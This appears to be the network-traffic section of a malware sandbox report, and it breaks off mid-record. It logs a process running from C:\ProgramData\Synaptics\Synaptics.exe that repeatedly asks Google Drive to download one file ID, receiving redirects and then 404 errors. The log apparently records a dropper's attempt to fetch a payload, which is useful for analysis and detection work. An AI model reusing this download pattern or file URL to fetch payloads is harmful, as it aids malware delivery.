2024-12-30 10:35:56 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:35:56 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6uJSEM2CSen1Mx2LBZYTTh5MA9ZjtLvumIy0FuHZPqh1I0yLf2MYXUck0Pb1qJa4Qn Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:56 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-uEo7EtXNFFLfbgUy3hodTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E; expires=Tue, 01-Jul-2025 10:35:56 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:56 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 76 33 37 4c 70 54 2d 64 36 35 45 58 52 63 6a 75 34 44 61 52 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9v37LpT-d65EXRcju4DaRg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:35:56 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:56 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-bmdQoKjHI2BkHViSm-4Dnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:56 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:35:56 UTC	1601	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Jir9ahu3x9JHDu-iNVkGTcF3O2oLQ-MSM2Z95ZgFRLJG4bt5nmMdUjkgXVnQdJCSxikhX7Zs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:56 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-h5BQBnGjmxsHdAXq3bbYgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM; expires=Tue, 01-Jul-2025 10:35:56 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:56 UTC	1601	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 57 47 4f 7a 48 4a 70 45 6c 74 4c 74 4a 2d 62 52 39 78 5a 6a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PWGOzHJpEltLtJ-bR9xZjQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:35:56 UTC	51	IN	Data Raw: 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: his server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:57 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-9dd1FxEHVSU0ZlmOk3mUxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:57 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:35:57 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4jUZnsR7ku8pekom5Ye6kOr9KT8qbukHhbmrcjIDOdfSrIY4oS3P9yKCWaHq3rmTRW Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:57 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jvGhEtF5kKiK_-35SBjT2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM; expires=Tue, 01-Jul-2025 10:35:57 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:57 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 74 68 4d 46 4f 44 6f 2d 74 42 4d 39 41 32 4d 5f 32 6d 74 4c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MthMFODo-tBM9A2M_2mtLg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:35:57 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:57 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-QqI6fKpBA6gFNm1S6qyQTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:57 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:35:57 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6QsfvN0XFAJPuyW2cZohGwamupZR-3NhBfwZfId8hoWRXNA31xFdcdcwbCamYUGka9sfIf0J8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:57 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jyvUoBjvlAeuxqSmTk6WDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:57 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:35:57 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 61 54 4e 54 74 68 75 38 4e 42 5f 64 59 62 6c 43 64 72 30 69 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="7aTNTthu8NB_dYblCdr0ig">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:35:57 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-H76LHAF5fMDqruRDqNm_8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49755	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dUIQ3p2F-qBcp7rLm9uuqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:58 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:35:58 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6cTKeBhd9_cqhYEFdMDgw5qRBPLeq9PWal5o59KpjaqfrfAIZww9YLMf4kMiWqHhRu11u7S4w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:58 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1m8rdPMaTKKGJ7II6kDjSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri 